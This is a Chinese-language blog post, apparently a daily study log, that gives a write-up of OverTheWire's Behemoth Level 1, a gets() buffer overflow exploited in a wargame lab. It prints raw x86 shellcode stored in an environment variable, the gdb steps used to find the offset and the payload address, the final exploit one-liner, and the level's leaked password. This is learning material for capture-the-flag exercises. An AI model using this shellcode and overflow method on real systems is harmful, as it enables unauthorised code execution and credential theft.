170903 WarGames-Behemoth(1)

这篇博客详细介绍了在WarGames-Behemoth的Level 1中,如何通过环境变量进行简单粗暴的gets溢出攻击。作者通过ltrace和反编译发现没有隐藏函数,然后利用gdb计算出ShellCode的偏移量,并通过环境变量存储Payload。文章提到了利用gdb定位Payload地址,以及避免地址错误的方法,分享了学习过程中的经验和教训。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1625-5 王子昂 总结《2017年9月3日》 【连续第335天总结】
A. WarGames-Behemoth
B.

Level 1
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[3]; // [sp+1Dh] [bp-43h]@1

  printf("Password: ");
  gets(v4);
  puts("Authentication failure.\nSorry.");
  return 0;
}

先用ltrace看了一下,啥函数都没有,以为是藏起来了,反编译一看–真的什么都没有啊
简单粗暴的gets溢出

直接构造ShellCode:0x43(v4)+*(栈指针对齐)+4(ebp)+4(返回地址)
这个*具体为多少需要使用gdb构造返回值来自己算
因为对齐的偏差在0-15之间,所以可以构造”a”*0x47 + “0123456789abcdef”这样的ShellCode去探测
gdb会返回Segmentation fault时出错的地址,就能知道偏移多少了
算出来偏移8个字节

将Payload存在环境变量中即可
环境变量数组的指针是main的第三个参数,通过gdb可以查到
用gdb找到Payload的地址后就可以构造ShellCode发送了:

behemoth1@behemoth:~$ export EGG=python -c 'print "\x90" *0x100 + "j\x01\xfe\x0c$hoth2hehemhss/bhh_pahemoth/behh/etc\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80"'

behemoth1@behemoth:~$ gdb /behemoth/behemoth1
(gdb) break main
Breakpoint 1 at 0x8048460
(gdb) r
Starting program: /behemoth/behemoth1

Breakpoint 1, 0x08048460 in main ()
(gdb) x/10x $esp
0xffffd5e8: 0x00000000 0xf7e3cad3 0x00000001 0xffffd684
(gdb) x/40x 0xffffd684
0xffffd684: 0xffffd7a7 0x00000000 0xffffd7bb 0xffffd7cb
0xffffd694: 0xffffd7d6 0xffffd7f5 0xffffd808 0xffffd811
0xffffd6a4: 0xffffd95c 0xffffd96b 0xffffde8c 0xffffde97
0xffffd6b4: 0xffffdea2 0xffffdf00 0xffffdf19 0xffffdf28
0xffffd6c4: 0xffffdf3c 0xffffdf45 0xffffdf5a 0xffffdf62
0xffffd6d4: 0xffffdf74 0xffffdfa2 0xffffdfc2 0x00000000
0xffffd6e4: 0x00000020 0xf7fdbbe0 0x00000021 0xf7fdb000
0xffffd6f4: 0x00000010 0x178bfbff 0x00000006 0x00001000
0xffffd704: 0x00000011 0x00000064 0x00000003 0x08048034
0xffffd714: 0x00000004 0x00000020 0x00000005 0x00000008
(gdb) x/40x 0xffffd7a0
0xffffd7a0: 0x00000000 0x2f000000 0x65686562 0x68746f6d
0xffffd7b0: 0x6865622f 0x746f6d65 0x53003168 0x4c4c4548
0xffffd7c0: 0x69622f3d 0x61622f6e 0x54006873 0x3d4d5245
0xffffd7d0: 0x30317476 0x53530030 0x4c435f48 0x544e4549
0xffffd7e0: 0x3237313d 0x2e38312e 0x20312e30 0x37363034
0xffffd7f0: 0x32322038 0x48535300 0x5954545f 0x65642f3d
0xffffd800: 0x74702f76 0x00312f73 0x415f434c 0x433d4c4c
0xffffd810: 0x47474500 0x9090903d 0x90909090 0x90909090
0xffffd820: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd830: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) quit

这个时候可以看到Payload被布置在0xffffd816的位置,前面有0x100的滑雪橇所以不用太仔细

behemoth1@behemoth:~$ python -c ‘print “a”*0x4b + “a”*4 + “\x30\xd8\xff\xff”’ | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
eimahquuof
Segmentation fault

我的ShellCode是用PwnTools的Shellcraft方法直接生成的cat
所以直接读出了Password

注意:如果没有使用滑雪橇,在寻找Payload的时候会很困难;
而如果使用大段的无意义字符(如”a”*0x100),在构造Shellcode的时候地址必须精确指向Payload(我就因为不慎用”a”来填充,Payload的第一个字节是\x63,与”a”的\x61看混,导致没有准确击中Payload而纠结了好久)

另外,环境变量数组的具体构造如果没有准确研究过,当重新export环境变量时,地址会发生改变,有可能看到的地址是前一次export的错误ShellCode
即每次修改ShellCode最好重新连接还原系统环境(我也因为这个纠结了好久)

通过环境变量装载Payload的方式应该是最简单的,以前没有用过所以浪费了不少时间,同时也学到了很多东西~

C. 明日计划
Behemoth

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值